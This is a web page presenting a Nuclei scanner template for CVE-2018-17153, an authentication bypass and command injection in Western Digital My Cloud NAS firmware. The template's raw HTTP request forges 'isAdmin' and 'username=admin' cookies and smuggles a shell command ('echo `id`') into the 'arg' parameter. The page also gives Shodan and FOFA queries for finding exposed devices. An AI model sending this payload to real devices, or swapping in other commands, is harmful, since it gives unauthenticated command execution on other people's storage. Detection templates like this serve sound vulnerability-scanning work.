Skip to content

Western Digital MyCloud NAS - Authentication Bypass

ID: CVE-2018-17153

Severity: critical

Author: DhiyaneshDk

Tags: cve2018,cve,packetstorm,auth-bypass,rce,wdcloud,western_digital

It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user’s IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user’s IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called \“cgi_get_ipv6\” that starts an admin session — tied to the IP address of the user making the request — if the additional parameter \“flag\” with the value \“1\” is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie.

id: CVE-2018-17153
info:
name: Western Digital MyCloud NAS - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called \"cgi_get_ipv6\" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter \"flag\" with the value \"1\" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie.
impact: |
An attacker can bypass authentication and gain unauthorized access to the device, potentially leading to data theft or unauthorized control of the NAS.
remediation: |
Apply the latest firmware update provided by Western Digital to fix the authentication bypass vulnerability.
reference:
- https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
- https://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
- https://securify.nl/nl/advisory/SFY20180102/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10108
- http://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-17153
cwe-id: CWE-287
epss-score: 0.59445
epss-percentile: 0.97757
cpe: cpe:2.3:o:western_digital:my_cloud_wdbctl0020hwt_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: western_digital
product: my_cloud_wdbctl0020hwt_firmware
shodan-query: http.favicon.hash:-1074357885
fofa-query: icon_hash=-1074357885
tags: cve2018,cve,packetstorm,auth-bypass,rce,wdcloud,western_digital
http:
- raw:
- |
POST /web/google_analytics.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: isAdmin=1; username=admin;
cmd=set&opt=cloud-device-num&arg=0|echo%20`id`%20%23
matchers:
- type: dsl
dsl:
- regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)", body)
- contains(body, "ganalytics")
- status_code == 200
condition: and
# digest: 4a0a00473045022077fb9027304ea1675cfd82a0c4ea4c24cccbc6e31e1df530276beaa0d080d91f02210083afeff2ac6ec3cbe1b31642e1cb11d8e231e75c6e42090b47931021d83272eb:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-17153.yaml"

View on Github